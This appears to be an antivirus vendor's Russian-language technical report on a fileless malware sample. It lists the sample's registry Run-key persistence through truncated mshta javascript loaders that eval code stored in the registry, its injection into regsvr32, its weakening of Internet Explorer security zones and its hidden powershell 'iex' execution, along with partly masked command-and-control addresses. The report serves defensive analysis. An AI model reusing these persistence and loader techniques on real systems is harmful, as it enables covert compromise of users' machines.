Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'e1d84c13' = 'mshta javascript:Qktf4LXgI8="gn1SLfGZ";MC2=new%20ActiveXObject("WScript.Shell");NQ8cfJh9o="xX7Co5Y";hm0Sg=MC2.Re...
- [<HKLM>\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'ac4b79b' = 'mshta javascript:A0DQgN6V="y3s1GzW";j1q=new%20ActiveXObject("WScript.Shell");phI8Ieuqj="kxanHU...
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'e1d84c13' = 'mshta javascript:M65LoUvte="Xp";P0S3=new%20ActiveXObject("WScript.Shell");afMrP2A="B5";G0PzC=P0S3.RegRead("HKCU\\software\\9...
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\regsvr32.exe
Изменяет следующие настройки браузера Windows Internet Explorer
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
Изменения в файловой системе
Самоудаляется.
Сетевая активность
Подключается к
- '87.##2.33.178':443
- '25#.#19.39.14':80
- '5.##8.44.20':8080
- '14#.#3.68.128':80
- '20#.#6.126.53':80
- '14.##4.24.233':80
- '13#.#24.228.193':80
- '15#.#07.247.5':80
- '5.##.191.125':80
- '25.##.80.201':443
- '14#.#05.41.26':443
- '81.##7.165.117':8080
- '12#.#9.90.84':80
- '24#.#5.177.210':80
- '66.##4.42.71':80
- '21#.#0.128.118':80
- '25.##.193.177':80
- '18#.#28.187.42':80
- '16#.#0.70.207':80
- '10#.#37.190.50':80
- '22#.#3.18.147':80
- '22#.#37.43.165':80
- '17#.#07.230.132':80
- '90.##8.80.125':8080
- '22.##3.251.125':80
- '23#.#9.207.227':8080
- '20#.#3.106.149':80
- '82.##5.117.97':80
- '98.##5.179.91':80
- '11#.#4.215.206':8080
- '51.##.135.199':80
- '2.##.228.40':80
- '38.##.89.121':80
- '19#.#35.4.202':80
- '14#.#2.36.114':80
- '97.##8.230.32':80
- '11.##6.242.25':80
- '22.##6.54.98':80
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:tpfoicz' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\mshta.exe' javascript:VgQjU8ToW="2wvthE7r2";Ol59=new%20ActiveXObject("WScript.Shell");mygt0LWn4="WMlTE";DHi9h=Ol59.RegRead("HKLM\\software\\Wow6432Node\\vtqQz19A\\tcOLvfc");SFen3GtcL="G8Au77";eval(DHi9h);...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:tpfoicz
- '%WINDIR%\syswow64\regsvr32.exe'
